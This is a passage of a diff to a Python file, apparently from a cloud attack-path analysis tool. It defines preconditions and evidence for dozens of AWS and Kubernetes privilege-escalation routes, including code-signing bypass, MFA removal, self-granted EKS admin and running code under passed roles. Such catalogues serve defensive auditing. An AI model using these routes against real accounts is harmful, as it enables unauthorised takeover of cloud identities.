evidence and full role authority"), + 'lambda_existing_sqs_queue_function_and_role': (("aws",), "source", + "A new Lambda function can run with the passed role after receiving a message from an existing SQS queue.", + "AWS: one collected writable queue and new function in the same Region, role permission to read the queue, function-bound PassRole, and CreateEventSourceMapping for that function; other poll sources stay unresolved"), + 'lambda_new_dynamodb_stream_function_and_role': (("aws",), "source", + "A new Lambda function can run with the passed role when a record enters a new DynamoDB stream.", + "AWS: one free table and function name in the same Region, table creation and item write, a role able to read the generated stream, function-bound PassRole, and CreateEventSourceMapping for that function"), + 'lambda_microvm_shell_runnable_image_and_role': (("aws",), "source", "The MicroVM role allows Lambda session tagging and one runnable image is covered by run and shell-token grants.", "AWS: IAM trust grants sts:TagSession to lambda.amazonaws.com; lambda_microvm_image in CREATED or UPDATED state with latestActiveImageVersion; RunMicrovm and CreateMicrovmShellAuthToken on the same image ARN"), - "lambda_existing_zip_function_direct_invoke_ready": (("aws",), "source", + 'lambda_existing_zip_function_direct_invoke_ready': (("aws",), "source", "The source can update and invoke one existing ZIP function using the target role.", "AWS: a collected active ZIP function has a supported runtime, completed its prior update, available concurrency, and no enforced code signing; UpdateFunctionCode and InvokeFunction cover its exact ARN"), - "lambda_existing_zip_function_role_swap_ready": (("aws",), "source", - "The source can repoint, replace code in, and invoke one existing ZIP function using the target role.", - "AWS: one collected active ZIP function has a supported runtime, completed its prior update, available concurrency, and no enforced code signing; UpdateFunctionConfiguration, UpdateFunctionCode, and InvokeFunction cover that ARN, and PassRole permits the target role for that function"), - "lambda_policy_rewrite_zip_code_and_invoke_ready": (("aws",), "source", + 'lambda_existing_zip_function_role_swap_ready': (("aws",), "source", + "The source can repoint and invoke one existing ZIP function with chosen code under the target role.", + "AWS: one collected active ZIP function has a supported runtime, completed its prior update, available concurrency, and no enforced code signing; UpdateFunctionConfiguration and InvokeFunction cover that ARN, PassRole permits the target role for it, and chosen code comes from UpdateFunctionCode or a new startup wrapper layer"), + 'lambda_policy_rewrite_zip_code_and_invoke_ready': (("aws",), "source", "The source can replace one ZIP function policy to grant itself code update and invocation.", "AWS: one collected active ZIP function uses the target role, can run new unsigned code, and the source can rewrite its policy with a direct same-account grant that is not blocked by explicit denies or organization limits"), - "lambda_enforced_zip_function_signing_bypass_and_invoke": (("aws",), "source", + 'lambda_enforced_zip_function_signing_bypass_and_invoke': (("aws",), "source", "The source can bypass enforced code signing, update, and invoke one existing ZIP function.", "AWS: the exact active function has enforced signing, supported runtime, completed update, and free concurrency; UpdateFunctionCode and InvokeFunction cover it, and DeleteFunctionCodeSigningConfig covers its ARN or Put/Update covers a collected code signing config ARN"), - "agentcore_new_interpreter_broad_name_and_role_ready": (("aws",), "source", + 'agentcore_new_runtime_generated_scope_and_role_ready': (("aws",), "source", + "The source can create one AgentCore Runtime with a passed role and invoke its generated DEFAULT endpoint.", + "AWS: free runtime name, CreateAgentRuntime in one Region, and generated-ID CreateAgentRuntimeEndpoint, InvokeAgentRuntime, PassRole and service trust covering that runtime and endpoint"), + 'agentcore_new_harness_generated_scope_and_role_ready': (("aws",), "source", + "The source can create a harness with a passed role, start its session, and invoke a command.", + "AWS: CreateHarness, CreateAgentRuntime and CreateMemory in one Region; GetMemory and InvokeHarness, InvokeAgentRuntime and InvokeAgentRuntimeCommand on the same generated harness scope; PassRole to AgentCore"), + 'agentcore_existing_runtime_update_and_invoke': (("aws",), "source", + "The source can update one AgentCore Runtime to a passed role and invoke its DEFAULT endpoint.", + "AWS: collected READY runtime and DEFAULT endpoint; exact UpdateAgentRuntime, InvokeAgentRuntime on both resources, and PassRole for the target role and runtime"), + 'agentcore_existing_code_interpreter_role_ready': (("aws",), "source", + "The source can run code in a ready existing Code Interpreter with the recorded execution role.", + "AWS: exact GetCodeInterpreter role and READY status, and StartCodeInterpreterSession and InvokeCodeInterpreter on the same ARN"), + 'agentcore_new_interpreter_broad_name_and_role_ready': (("aws",), "source", "The source can choose a fresh interpreter name and run code under a passed role.", "AWS: CreateCodeInterpreter is allowed in one Region; StartCodeInterpreterSession and InvokeCodeInterpreter cover every generated suffix for a freely chosen name, and the role trusts AgentCore"), - "eks_existing_self_access_entry_can_receive_cluster_admin": (("aws",), "source", + 'eks_existing_self_access_entry_can_receive_cluster_admin': (("aws",), "source", "The source can give its own existing STANDARD EKS access entry cluster-wide administrator access.", "AWS: collected eks_access_entry with principalArn equal to the source and type STANDARD; exact accessEntryArn; AssociatedAccessPolicies without an existing cluster-wide AmazonEKSClusterAdminPolicy; AssociateAccessPolicy on that ARN with the administrator policy and cluster scope"), - "eks_new_self_access_entry_can_receive_cluster_admin": (("aws",), "source", + 'eks_new_self_access_entry_can_receive_cluster_admin': (("aws",), "source", "The source can create an access entry for its own IAM principal and give that entry cluster-wide administrator access.", "AWS: eks_access_entry inventory for the cluster; CreateAccessEntry with eks:principalArn set to the source and type STANDARD; AssociateAccessPolicy on the resulting access-entry ARN with AmazonEKSClusterAdminPolicy and cluster scope"), - "eventbridge_subscriber_has_active_bus_and_bound_permissions": (("aws",), "source", + 'eventbridge_subscriber_has_active_bus_and_bound_permissions': (("aws",), "source", "The source can create a subscriber on an active custom event bus with a passed role.", "AWS: recorded eventbridge_custom_bus EventBusArn and usable State (ACTIVE or UPDATE_FAILED), no unverified customer KMS key, events:CreateSubscriber on that bus and a new subscriber ARN, and events:PutEvents on the same bus"), - "mwaa_existing_environment_update_with_dag_code": (("aws",), "source", + 'mwaa_existing_environment_update_with_dag_code': (("aws",), "source", "The source can update one usable MWAA environment to use the target role and upload a DAG that the role can read.", "AWS: collected mwaa_environment ARN, AVAILABLE or UPDATE_FAILED status, SourceBucketArn and DagS3Path; exact airflow:UpdateEnvironment and s3:PutObject for one new DAG, plus target role s3:ListBucket and s3:GetObject for that DAG"), - "mwaa_existing_dag_object_execution_role": (("aws",), "source", + 'mwaa_existing_dag_object_execution_role': (("aws",), "source", "The source can upload a Python DAG to an existing MWAA environment and have it parsed under that environment's exact execution role.", "AWS: collected AVAILABLE mwaa_environment ARN, ExecutionRoleArn, SourceBucketArn and DagS3Path; exact s3:PutObject on a Python object in that DAG folder, plus the attached role's s3:ListBucket and s3:GetObject for the same object"), - "mwaa_serverless_new_workflow_definition_and_start": (("aws",), "source", + 'mwaa_serverless_new_workflow_definition_and_start': (("aws",), "source", "The source can create a new workflow from a controlled S3 definition and start that exact workflow under the target role.", "AWS: complete workflow inventory and free name; same-Region versioned, private owned S3 bucket plus source Put/Get/List for a new YAML object; broad StartWorkflowRun covering generated workflow IDs, exact PassRole with iam:PassedToService=airflow-serverless.amazonaws.com, and required logging and service-linked-role permissions"), - "m2_existing_environment_new_application_deploy": (("aws",), "source", + 'm2_existing_environment_new_application_deploy': (("aws",), "source", "The source can create an M2 application with the target role, deploy it to an available environment, and start it.", "AWS: collected mainframe_environment in Available state; CreateDeployment on that exact environment and all new application IDs, StartApplication on all new application IDs, CreateApplication, PassRole with iam:PassedToService=m2.amazonaws.com, and source write/read access to one owned S3 definition object"), - "mgh_automation_unit_home_region_target_and_run": (("aws",), "source", + 'mgh_automation_unit_home_region_target_and_run': (("aws",), "source", "The source can create a custom Migration Hub automation unit, attach the target role, and run a controlled target.", "AWS: Migration Hub home Region us-east-1 and feature access; a source-controlled runnable SSM document or Lambda function; the new automation-unit ARN authorized for AssociateAutomationUnitRole; CreateAutomationRun; PassRole to migrationhub.amazonaws.com; target role trust and target invocation permissions"), - "migrationhub_orchestrator_bound_workflow_script_and_managed_target": (("aws",), "source", + 'workspaces_instances_bound_launch_role_effect': (("aws",), "source", + "The source can launch one WorkSpaces managed instance with controlled user data under the target instance-profile role.", + "AWS: fresh reviewed evidence of a supported configuration, exact instance profile and launched instance, executed controlled user data and a useful role-only action; current CreateWorkspaceInstance, exact EC2 RunInstances resource grants with aws:CalledVia, PassRole to ec2.amazonaws.com and service-linked role readiness"), + 'sagemaker_hyperpod_custom_ami_group_role_effect': (("aws",), "source", + "A HyperPod instance group was updated to a source-controlled custom AMI and ran code under its execution role.", + "AWS: collected InService cluster and exact instance group/role/image; a Slurm group must have started from a custom AMI; fresh reviewed evidence of owned compatible unencrypted single-volume AMI, successful update and node boot, executed startup code and useful role-only action; current UpdateClusterSoftware authorization"), + 'migrationhub_orchestrator_bound_workflow_script_and_managed_target': (("aws",), "source", "The source can add or update a runnable automated workflow step that sends a controlled script to an online SSM-managed instance carrying the target role.", "AWS: collected Orchestrator workflow and step group/graph with same-workflow action grants; target EC2 instance selected by that workflow and online in SSM; service-linked role and usable migrationhub-orchestrator-* S3 script object the source can write; startable or retryable workflow state"), - "ssm_incident_response_plan_runs_new_automation_document": (("aws",), "source", + 'ssm_incident_response_plan_runs_new_automation_document': (("aws",), "source", "The source can create an Automation document and start an incident under a response plan that names it and the target role.", "AWS: ssmincidents_account active ReplicationSets or existing ResponsePlans; ssm_document_metadata and CreateDocument; CreateResponsePlan or UpdateResponsePlan plus StartIncident on the same plan ARN"), - "cloudformation_service_managed_stackset_targetable": (("aws",), "source", + 'cloudformation_service_managed_stackset_targetable': (("aws",), "source", "Organizations access is enabled and the source can deploy a new service-managed StackSet to the member account's OU.", "AWS: cloudformation_organizations_access Status=ENABLED; organization_parent member OU; CreateStackSet and CreateStackInstances on one generated StackSet, OU target, and IAM role resource type"), - "cloudformation_extension_package_and_invocation": (("aws",), "source", + 'cloudformation_extension_package_and_invocation': (("aws",), "source", "The source can upload and read one handler package and invoke its registered private resource type.", "AWS: recorded S3 bucket; s3:PutObject and GetObject on the same package object; cloudformation:CreateResource or CreateStack/UpdateStack on a usable stack"), - "cloudformation_new_stack_with_role": (("aws",), "source", + 'cloudformation_new_stack_with_role': (("aws",), "source", "The source can create a new stack with a caller-controlled inline template and the target service role.", "AWS: cloudformation:CreateStack on one unused stack name across generated stack IDs, with cloudformation:RoleArn set to the target role"), - "cloudformation_new_changeset_with_role": (("aws",), "source", + 'cloudformation_new_changeset_with_role': (("aws",), "source", "The source can create and execute a CREATE-type change set on the same new stack using the target service role.", "AWS: cloudformation:CreateChangeSet and ExecuteChangeSet on one unused stack name across generated stack IDs, with cloudformation:RoleArn set to the target role"), - "cloudformation_existing_stack_updatable_with_role": (("aws",), "source", + 'cloudformation_existing_stack_updatable_with_role': (("aws",), "source", "An existing stack in an updatable state can be changed with the target CloudFormation service role.", "AWS: cloudformation_stack {StackId, StackStatus} by Region; exact cloudformation:UpdateStack permission on the stack ARN with cloudformation:RoleArn set to the target role"), - "cloudformation_attached_role_stack_updatable": (("aws",), "source", + 'cloudformation_attached_role_stack_updatable': (("aws",), "source", "An existing updatable stack already carries the target service role and the source can update that stack.", "AWS: cloudformation_stack {StackId, StackStatus, RoleARN} by Region; exact cloudformation:UpdateStack permission on that StackId"), - "cloudformation_attached_role_changeset_executable": (("aws",), "source", + 'cloudformation_attached_role_changeset_executable': (("aws",), "source", "An existing updatable stack already carries the target service role and the source can create and execute a change set on that stack.", "AWS: cloudformation_stack {StackId, StackStatus, RoleARN} by Region; exact cloudformation:CreateChangeSet and ExecuteChangeSet permissions on the same StackId"), - "ssm_shell_document_on_online_instance": (("aws",), "source", + 'ssm_shell_document_on_online_instance': (("aws",), "source", "The source can use a shell-capable Run Command document on the same online instance carrying the target role.", "AWS: ssm:SendCommand on an online EC2 instance and AWS-RunShellScript or AWS-RunPowerShellScript in its Region"), - "ssm_shell_session_on_online_instance": (("aws",), "source", + 'ssm_shell_session_on_online_instance': (("aws",), "source", "The source can open the default shell session document and data channel on the same online instance carrying the target role.", "AWS: ssm:StartSession on an online EC2 instance and its SSM-SessionManagerRunShell document, plus ssmmessages:OpenDataChannel"), - "ssm_hybrid_sendcommand_role": (("aws",), "source", + 'ssm_hybrid_sendcommand_role': (("aws",), "source", "The source can send a shell command to an online hybrid managed node carrying the exact target service role.", "AWS: collected online mi- managed node with IamRole equal to the target role name; source ssm:SendCommand on its managed-instance ARN and the platform-matching AWS shell document"), - "ssm_hybrid_startsession_role": (("aws",), "source", + 'ssm_hybrid_startsession_role': (("aws",), "source", "The source can open an interactive shell on an online hybrid managed node carrying the exact target service role.", "AWS: collected online mi- managed node with IamRole equal to the target role name; source ssm:StartSession on its managed-instance ARN and SSM-SessionManagerRunShell document, plus future ssmmessages:OpenDataChannel"), - "ssm_shell_association_targets": (("aws",), "source", + 'ssm_shell_association_targets': (("aws",), "source", "The source can create an association for a shell-capable document in the Region of an online target instance.", "AWS: ssm:CreateAssociation on a new association ARN and AWS-RunShellScript or AWS-RunPowerShellScript document in the instance Region; Targets can name its InstanceIds value"), - "ssm_maintenance_window_run_command_target": (("aws",), "source", + 'ssm_maintenance_window_run_command_target': (("aws",), "source", "An enabled maintenance window can schedule a Run Command task for an online instance carrying the target role.", "AWS: ssm_maintenance_window {WindowId, Enabled, NextExecutionTime, Tasks} in the instance Region; exact RegisterTaskWithMaintenanceWindow permission on the window or UpdateMaintenanceWindowTask permission on the window and an existing RUN_COMMAND task"), - "ssm_maintenance_window_automation_task_ready": (("aws",), "source", + 'ssm_maintenance_window_automation_task_ready': (("aws",), "source", "An enabled maintenance window can schedule a newly created Automation document under the target service role.", "AWS: ssm_maintenance_window {WindowId, Enabled, NextExecutionTime, Tasks}; exact RegisterTaskWithMaintenanceWindow permission on the window or UpdateMaintenanceWindowTask permission on the window and an existing AUTOMATION task; CreateDocument on a new Automation document in that Region"), - "ssm_jit_approved_online_instance": (("aws",), "source", + 'ssm_jit_approved_online_instance': (("aws",), "source", "The assumed source role can request a token for the exact online instance, and its access is approved.", "AWS: ssm:StartAccessRequest on arn:...:ec2:Region:Account:instance/InstanceId, source kind aws_role, online ssm_managed_instance, and a proven auto-approval policy or current approved access request for this role and instance"), - "ssm_new_automation_document_executable": (("aws",), "source", + 'ssm_new_automation_document_executable': (("aws",), "source", "The source can create an Automation document and start that same document in one Region.", "AWS: ssm:CreateDocument with ssm:DocumentType Automation on a new document ARN, ssm:StartAutomationExecution on the same document ARN and generated automation-execution ARN, plus ssm_document_metadata for exact-name collisions"), - "target_codecommit_git_permission": (("aws",), "target", + 'target_codecommit_git_permission': (("aws",), "target", "The IAM user has a recorded CodeCommit Git permission that an uploaded SSH key could exercise.", "AWS: target IAM user identity and inherited policies granting codecommit:GitPull or codecommit:GitPush"), - "target_ssh_public_key_capacity": (("aws",), "source", + 'target_ssh_public_key_capacity': (("aws",), "source", "The target IAM user has room for another SSH public key, or the source can delete an existing key after listing its ID.", "AWS: iam_user SSHPublicKeys list and the source's effective iam:DeleteSSHPublicKey and iam:ListSSHPublicKeys permissions on the target user"), - "service_specific_credential_ready": (("aws",), "source", + 'service_specific_credential_ready': (("aws",), "source", "The target IAM user has room for a supported service credential or an active credential the source can reset.", "AWS: iam_user ServiceSpecificCredentials and service-scoped CreateServiceSpecificCredential or ResetServiceSpecificCredential permission"), - "mfa_enrollment_credential_ready": (("aws",), "source", + 'mfa_enrollment_credential_ready': (("aws",), "source", "The target IAM user can accept another MFA device and at least one credential action can supply usable credentials.", "AWS: IAM user MFADevices, AccessKeys, LoginProfile, and effective credential and MFA-device permissions"), - "mfa_removal_password_ready": (("aws",), "source", + 'mfa_removal_password_ready': (("aws",), "source", "The target IAM user has an MFA device to remove and a password action matching its login-profile state.", "AWS: IAM user MFADevices, LoginProfile, and effective CreateLoginProfile or UpdateLoginProfile permission"), - "target_console_login_without_mfa": (("aws",), "target", + 'target_console_login_without_mfa': (("aws",), "target", "The target IAM user has no MFA device that would prevent password-only console sign-in.", "AWS: iam_user MFADevices list for the exact target user"), - "role_trust_rewrite_assumable": (("aws",), "source", + 'role_trust_rewrite_assumable': (("aws",), "source", "The role is editable and the source can assume it after naming itself in the trust policy.", "AWS: role path, source sts:AssumeRole explicit denies, permissions boundary, and applicable SCPs"), - "group_adds_policy_to_source": (("aws",), "source", + 'group_adds_policy_to_source': (("aws",), "source", "Joining the group gives the source user a newly usable action on a resource.", "AWS: exact group membership and policies, the source user's effective action/resource access before and after joining, and applicable permissions boundary and SCP"), - "source_attached_admin_policy_version_exists": (("aws",), "source", + 'source_attached_admin_policy_version_exists': (("aws",), "source", "An attached customer-managed policy has a nondefault version that clearly grants full account permissions.", "AWS: attached customer-managed policy versions with their documents and effective iam:SetDefaultPolicyVersion permission"), - "source_attached_policy_version_capacity": (("aws",), "source", + 'source_attached_policy_version_capacity': (("aws",), "source", "An attached customer-managed policy can receive a new version, or the source can delete a nondefault version first.", "AWS: attached customer-managed policy versions and effective iam:DeletePolicyVersion permission when five versions exist"), - "assumable_role_allows_account_admin": (("aws",), "source", + 'assumable_role_allows_account_admin': (("aws",), "source", "A role the source can assume and modify can gain full account permissions without a restrictive permissions boundary.", "AWS: exact assumable role, IAM policy mutation permission on that role, and the role's permissions boundary document"), - "source_boundary_allows_account_admin": (("aws",), "source", + 'source_boundary_allows_account_admin': (("aws",), "source", "The source identity's permissions boundary permits full account administration after the policy change, or the source can remove that boundary.", "AWS: iam_role/iam_user PermissionsBoundary, its managed policy document, and effective permission to remove the boundary"), + "iam_user_boundary_admin_gain": (("aws",), "source", + "Removing or replacing this user's boundary exposes an already attached administrator identity policy.", + "AWS: the source user's boundary and identity policies, exact boundary mutation permission, and post-change SCP limits"), + "iam_role_boundary_admin_gain": (("aws",), "source", + "Removing or replacing a role boundary exposes an already attached administrator identity policy after a new role session.", + "AWS: the exact role boundary and identity policies, effective boundary mutation permission, role trust and fresh-session path"), + "iam_new_role_cross_account_trust": (("aws",), "source", + "One newly creatable and assumable role matches another account's collected role trust and can be granted permission to assume it.", + "AWS: exact future role ARN, both accounts' complete role inventories, CreateRole and PutRolePolicy on that ARN, target trust and source-account SCP limits"), "lambda_enforcing_code_signing": (("aws",), "target", "A Lambda function attached to the target role has a code-signing configuration that enforces trusted artifacts.", "AWS: lambda_function CodeSigning and matching CodeSigningConfig details for the function"), - "iam_user_access_key_capacity": (("aws",), "source", + 'iam_user_access_key_capacity': (("aws",), "source", "The target IAM user has room for another access key, or the source can delete one of its existing keys first.", "AWS: iam_user AccessKeys list and the source's effective iam:DeleteAccessKey and iam:ListAccessKeys permissions on the target user"), - "ec2_instance_running": (("aws",), "target", + 'ec2_instance_running': (("aws",), "target", "The target role is attached (instance profile) to at least one EC2 instance in state pending/running.", "AWS: instance {InstanceId, State, IamInstanceProfile} in every region + iam_role InstanceProfileList"), - "ec2_instance_connect_same_running_role_host": (("aws",), "source", + 'ec2_instance_connect_same_running_role_host': (("aws",), "source", "The source can push a key to the same running Linux instance that carries the target role, with instance metadata enabled.", "AWS: exact instance attachment, running state, platform, MetadataOptions, and SendSSHPublicKey permission"), - "ssm_managed_instance": (("aws",), "target", + 'ssm_managed_instance': (("aws",), "target", "At least one running EC2 instance of the target role is registered with Systems Manager (PingStatus Online).", "AWS: ssm_managed_instance (ssm:DescribeInstanceInformation {InstanceId, PingStatus}) in every region + instance"), - "ecs_container_instance_exists": (("aws",), "target", + 'ecs_container_instance_exists': (("aws",), "target", "An ECS cluster in the target's account has registered EC2 container instances (StartTask needs a host).", "AWS: ecs_cluster with describe_clusters {registeredContainerInstancesCount} in every region"), - "ecs_task_definition_exists": (("aws",), "target", + 'ecs_task_definition_exists': (("aws",), "target", "At least one ECS task definition exists in the target's account (the technique overrides an existing one).", "AWS: ecs_task_definition in every region"), - "ecs_existing_task_override_runnable_with_role": (("aws",), "source", + 'ecs_new_task_definition_runtask_ready': (("aws",), "source", + "The source can register one new ECS task definition with the target role and run it in a compatible cluster.", + "AWS: scoped RegisterTaskDefinition and RunTask grants cover every new revision of one family, PassRole covers the target role for ECS tasks, and an active same-Region EC2 cluster has an active connected container instance"), + "ecs_new_task_definition_eventbridge_schedule_ready": (("aws",), "source", + "The source can register a code-bearing ECS task and attach it to a new scheduled rule that runs it under the target task role.", + "AWS: exact new task family and free rule, source RegisterTaskDefinition, PutRule, PutTargets and both PassRole grants; a recorded EventBridge role trusts events.amazonaws.com and can RunTask and PassRole on that task role in an active EC2 cluster with a connected instance"), + "ecs_new_task_definition_starttask_ready": (("aws",), "source", + "The source can register one new ECS task definition with the target role and start it on a connected container instance.", + "AWS: scoped RegisterTaskDefinition and StartTask grants cover every new revision of one family, PassRole covers the target role for ECS tasks, and a same-Region active cluster contains a connected container instance covered by StartTask"), + 'ecs_new_task_definition_service_ready': (("aws",), "source", + "The source can register one new ECS task definition with the target role and deploy it through a service.", + "AWS: scoped RegisterTaskDefinition and CreateService or UpdateService grants cover the new definition and exact service in an active same-Region cluster with a connected container instance"), + 'ecs_privileged_task_exact_host_ready': (("aws",), "source", + "The source can register a privileged ECS task and start it on the exact host carrying the target role.", + "AWS: scoped RegisterTaskDefinition and StartTask grants cover every new revision, an active connected Linux EC2 container instance is the exact target role host or carries a running target-role task"), + 'ecs_external_service_taskset_ready': (("aws",), "source", + "The source can create and promote a task set on an existing ECS service with the target task role.", + "AWS: the exact active EXTERNAL service and cluster have connected EC2 capacity, scoped RegisterTaskDefinition and CreateTaskSet cover generated resources, UpdateServicePrimaryTaskSet covers the same service, and PassRole covers the target role"), + 'ecs_existing_task_override_runnable_with_role': (("aws",), "source", "One active EC2 task definition with a container can run in an active cluster with capacity, using the target task role override.", "AWS: described ECS task definition and cluster, exact ecs:RunTask grant, and iam:PassRole on its execution role if present"), - "eks_cluster_exists": (("aws",), "target", + 'eks_cluster_exists': (("aws",), "target", "At least one EKS cluster exists in the target's account (the technique attaches to an existing cluster).", "AWS: eks_cluster (eks:ListClusters) in every region"), - "source_in_org_management_account": (("aws",), "source", + 'source_in_org_management_account': (("aws",), "source", "The source lives in the organization management account (only it can call the API).", "AWS: organization_account Arn (organizations:ListAccounts) to identify the management account"), - "emr_containers_job_route": (("aws",), "source", + 'created_org_access_role_assumable': (("aws",), "source", + "The source can assume the management access role in a newly created member account.", + "AWS: sts:AssumeRole grant on the generated OrganizationAccountAccessRole in any new account, with effective boundary and deny checks"), + 'config_automatic_remediation_effect_unverified': (("aws",), "source", + "An eligible Config rule can automatically run a controlled SSM Automation document under the passed role.", + "AWS: exact non-service-linked rule, recorder and noncompliant resource, automatic remediation and service-linked role, executable document with an exact role-authorized effect"), + 'elasticbeanstalk_environment_role_effect_reviewed': (("aws",), "source", + "A deployed application version ran on an Elastic Beanstalk instance with the selected role and performed a useful action.", + "AWS: fresh reviewed application version, source bundle, exact environment, service role, launched instance, applied profile and immutable role ID, executed code and useful role action"), + 'elasticbeanstalk_environment_role_execution_unverified': (("aws",), "source", + "A controlled application version can run in an Elastic Beanstalk environment under the selected instance-profile role.", + "AWS: historical catalog precondition; the current route uses a reviewed environment and role-effect witness."), + 'emr_containers_job_route': (("aws",), "source", "One running EMR on EKS virtual cluster allows this source to start a job with the target role.", "AWS: emr_container_virtual_cluster and exact StartJobRun authorization with ExecutionRoleArn context"), - "emr_serverless_job_route": (("aws",), "source", + 'emr_serverless_job_route': (("aws",), "source", "One runnable EMR Serverless application can use the target role to read a script the source can write.", "AWS: described EMR Serverless application, exact StartJobRun and PassRole grants, and a same-Region S3 object writable by source and readable by target"), - "emr_containers_pod_identity_job_route": (("aws",), "source", + 'emr_containers_pod_identity_job_route': (("aws",), "source", "One running EMR on EKS virtual cluster has all three EKS Pod Identity associations for the target role and permits this source to submit a job.", "AWS: virtual cluster, EKS cluster, complete pod identity associations, exact PassRole and StartJobRun authorization"), - "emr_cluster_session_runtime_role": (("aws",), "source", + 'emr_cluster_session_runtime_role': (("aws",), "source", "The source can request session credentials for the target runtime role on one live EMR cluster with runtime roles enabled.", "AWS: described EMR cluster, matching security configuration, instance profile and role trust, exact GetClusterSessionCredentials grant"), - "emr_containers_endpoint_route": (("aws",), "source", + 'emr_existing_cluster_runtime_step_role': (("aws",), "source", + "The source can add a command step under the target runtime role on one live EMR cluster.", + "AWS: RUNNING or WAITING cluster with runtime roles enabled, exact AddJobFlowSteps grant with ExecutionRoleArn context, instance profile allowed to assume and tag the target role, matching role trust"), + 'emr_cluster_endpoint_role_effect_unverified': (("aws",), "source", + "The source can use EMR HTTP endpoint credentials to submit work that uses the target runtime role.", + "AWS: supported reachable cluster endpoint, accepted temporary HTTP credentials, permitted workload submission and an exact role-authorized effect"), + 'emr_new_cluster_role_execution_unverified': (("aws",), "source", + "The source can create an EMR cluster and run a controlled step under the selected EC2 instance-profile role.", + "AWS: passable EMR service role and EC2 instance-profile role, runnable cluster configuration and controlled bootstrap or step that executes after launch"), + 'emr_new_cluster_instance_role_effect_reviewed': (("aws",), "source", + "A launched EMR cluster ran controlled code on an instance using the selected instance-profile role.", + "AWS: fresh reviewed RunJobFlow request, distinct service and instance roles, launched member instance, applied profile, executed bootstrap or step and useful role action"), + 'emr_containers_endpoint_route': (("aws",), "source", "One active EMR on EKS endpoint in a running virtual cluster allows this source to request a session with the target role.", "AWS: emr_container_virtual_cluster, emr_container_endpoint, and exact GetManagedEndpointSessionCredentials authorization"), - "rolesanywhere_anchor_profile_trust_join": (("aws",), "source", + 'rolesanywhere_anchor_profile_trust_join': (("aws",), "source", "The source can update an enabled trust anchor in the same Region as an enabled profile listing the target role, and the role trust admits that exact anchor.", "AWS: rolesanywhere_trust_anchor, rolesanywhere_profile, target role trust policy, and effective rolesanywhere:UpdateTrustAnchor"), - "rolesanywhere_new_anchor_profile_role_ready": (("aws",), "source", + 'rolesanywhere_new_anchor_profile_role_ready': (("aws",), "source", "The source can create an enabled trust anchor and profile in one Region, pass the target role, and satisfy the role's Roles Anywhere trust.", "AWS: exact source CreateTrustAnchor, CreateProfile, iam:PassRole, target role trust policy, and regional trust anchor/profile inventory"), - "sagemaker_job_execution_route_unverified": (("aws",), "source", + 'sagemaker_job_execution_route_unverified': (("aws",), "source", "A SageMaker job needs a runnable source-controlled image and a feasible input/output path under the passed role before a role execution path is reported.", "AWS: exact SageMaker job ARN, image metadata, target role image/data permissions, and effective job creation and PassRole permissions"), - "target_in_other_account": (("aws",), "source", + 'sagemaker_processing_inline_entrypoint_route': (("aws",), "source", + "The source can request a new Processing job with an inline entrypoint, a passable role, and network isolation off.", + "AWS: free Processing job name, exact job ARN, effective CreateProcessingJob and PassRole permissions, service trust, and regional inventory"), + 'sagemaker_training_inline_entrypoint_route': (("aws",), "source", + "The source can request a new Training job with an inline entrypoint and a writable S3 output path under the passed role.", + "AWS: free Training job name, exact job and PassRole permissions, service trust, regional job inventory, and target role S3 output write"), + 'sagemaker_hpo_script_mode_route': (("aws",), "source", + "The source can create a tuning job using a code archive it writes to S3 and the passed role can read.", + "AWS: free tuning-job name, exact creation and PassRole permissions, service trust, S3 code write/read and output write, and regional inventory"), + 'sagemaker_studio_profile_lcc_route': (("aws",), "source", + "The source can attach a new lifecycle configuration to a profile and start a matching app under that profile's role.", + "AWS: complete profile, domain, app and Studio lifecycle inventories; free configuration name; exact create, update and app launch grants; service trust"), + "sagemaker_studio_shared_space_lcc_route": (("aws",), "source", + "The source can attach a new lifecycle configuration to a shared space and start its app under the recorded space role.", + "AWS: complete shared space, IAM domain, app and lifecycle inventories; matching app type and free configuration name; exact CreateStudioLifecycleConfig, UpdateSpace, CreateApp and AddTags grants; service trust"), + "sagemaker_new_profile_app_route": (("aws",), "source", + "The source can create a Studio profile with the passed role and open a new app under that profile.", + "AWS: IAM domain, free profile name, exact creation, app and URL grants, PassRole, app AddTags and service trust"), + 'sagemaker_domain_default_new_profile_route': (("aws",), "source", + "The source can change a Studio domain's default role and create a profile that inherits it.", + "AWS: IAM domain, no existing domain apps, free profile name, exact domain, profile, app and URL grants, PassRole, app AddTags and service trust"), + 'sagemaker_existing_profile_role_swap_route': (("aws",), "source", + "The source can set a Studio profile's role and open a new app under that profile.", + "AWS: existing profile in an IAM domain, app inventory, exact update, app and URL grants, PassRole, app AddTags and service trust"), + 'target_in_other_account': (("aws",), "source", "The target lives in a different account than the source (cross-account technique).", "AWS: target and source account ids (always known)"), - "k8s_eks_cluster": (("k8s",), "target", + 'k8s_eks_cluster': (("k8s",), "target", "The target's cluster is an Amazon EKS cluster (node spec.providerID aws://, EKS API groups or a kube-system/aws-auth ConfigMap).", "K8s: node spec.providerID, api_discovery groups, configmap_metadata in kube-system"), - "k8s_openshift_cluster": (("k8s",), "target", + 'k8s_openshift_cluster': (("k8s",), "target", "The target's cluster is OpenShift (api_discovery lists *.openshift.io API groups such as security.openshift.io).", "K8s: api_discovery (server API groups)"), } @@ -1417,17 +2106,17 @@ def as_str_list(value): _CONTEXT_KEY = re.compile(r"^[A-Za-z0-9-]+:[A-Za-z0-9_./*-]+$") # target.outcome: what the source obtains. Defaults (when omitted) are inferred from the target kind. OUTCOMES = { - "identity": "Becomes the target principal (mechanism unspecified).", - "credentials": "Obtains credentials / tokens / a session of the target principal (keys, passwords, tokens, AssumeRole).", - "workload_execution": "Runs code inside a workload that carries the target identity (passed role, attached SA/MI).", - "impersonation": "Acts as the target through a delegation/impersonation API without holding its credentials.", - "membership": "Becomes a member of the target group and inherits its grants.", - "permission_grant": "The source's own permissions grow (policy/role edit or assignment); target is self or an entity.", - "role_activation": "Activates/assigns a privileged role or permission set (PIM, Identity Center, Entra directory role).", - "scope_control": "Gains IAM control of a scope (set IAM policy / role assignments) -> every principal of the scope.", - "application_admin": "Becomes administrator of a managed service's own application plane (not an IAM principal).", - "bounded_authority": "Evidence-bound effect on the exact non-principal target, defined only by the rule and verified facts; implies no IAM scope control, application administration, principal access, or further permissions.", - "blocker_removal": "Lifts an enforcement control (target.removes_blockers) that gates other techniques; reaches no principal.", + 'identity': "Becomes the target principal (mechanism unspecified).", + 'credentials': "Obtains credentials / tokens / a session of the target principal (keys, passwords, tokens, AssumeRole).", + 'workload_execution': "Runs code inside a workload that carries the target identity (passed role, attached SA/MI).", + 'impersonation': "Acts as the target through a delegation/impersonation API without holding its credentials.", + 'membership': "Becomes a member of the target group and inherits its grants.", + 'permission_grant': "The source's own 